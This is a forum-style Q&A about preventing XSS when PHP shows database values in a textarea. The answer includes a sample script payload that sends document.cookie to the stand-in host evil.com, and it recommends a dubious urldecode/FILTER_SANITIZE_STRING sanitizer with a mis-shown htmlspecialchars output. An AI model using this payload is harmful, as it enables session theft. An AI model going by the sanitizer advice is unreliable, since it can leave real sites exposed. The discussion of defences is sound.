Question

What are the best methods of sanitizing values from a database (in php) if they are to be used in inputs like textareas?

For example, when inserting data, I can strip tags and quotes and replace them with html char codes and then use mysql_real_escape_string right before insertion.

When retrieving that data back, I need it to show up in a textarea. How can I do this and still avoid XSS? (Ex. you could easily type in

</textarea><script type='text/javascript'> Malicious Code</script><textarea>

) and cause problems.

Thanks!

Answer 1

I think i would prefer a combo of filter_var and url_decode if you want to use a pure simple php Solution

Reason

Imagine an impute like this

$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";

If i use strip_tags

var_dump(strip_tags($maliciousCode));

Output

string 'document.write("' (length=16)

if i use htmlspecialchars

var_dump(htmlspecialchars($maliciousCode));

Output

string '<script>document.write("<img src='http://evil.com/?cookies='"+document.cookie+"' style='display:none;' />");</script> I love PHP' (length=166)

My Choice

function cleanData($str) {
    $str = urldecode ($str );
    $str = filter_var($str, FILTER_SANITIZE_STRING);
    $str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
    return $str ;
}

$input = cleanData ( $maliciousCode );
var_dump($input);

Output

 string 'document.write(""); I love PHP' (length=46)

If form is using GET instead of POST some can till escape if it is url encoded , you are able to get a minimal information and make sure the final text is harmless

The are also enough class online to help you do filter see

• http://www.phpclasses.org/package/2189-PHP-Filter-out-unwanted-PHP-Javascript-HTML-tags-.html

• http://htmlpurifier.org/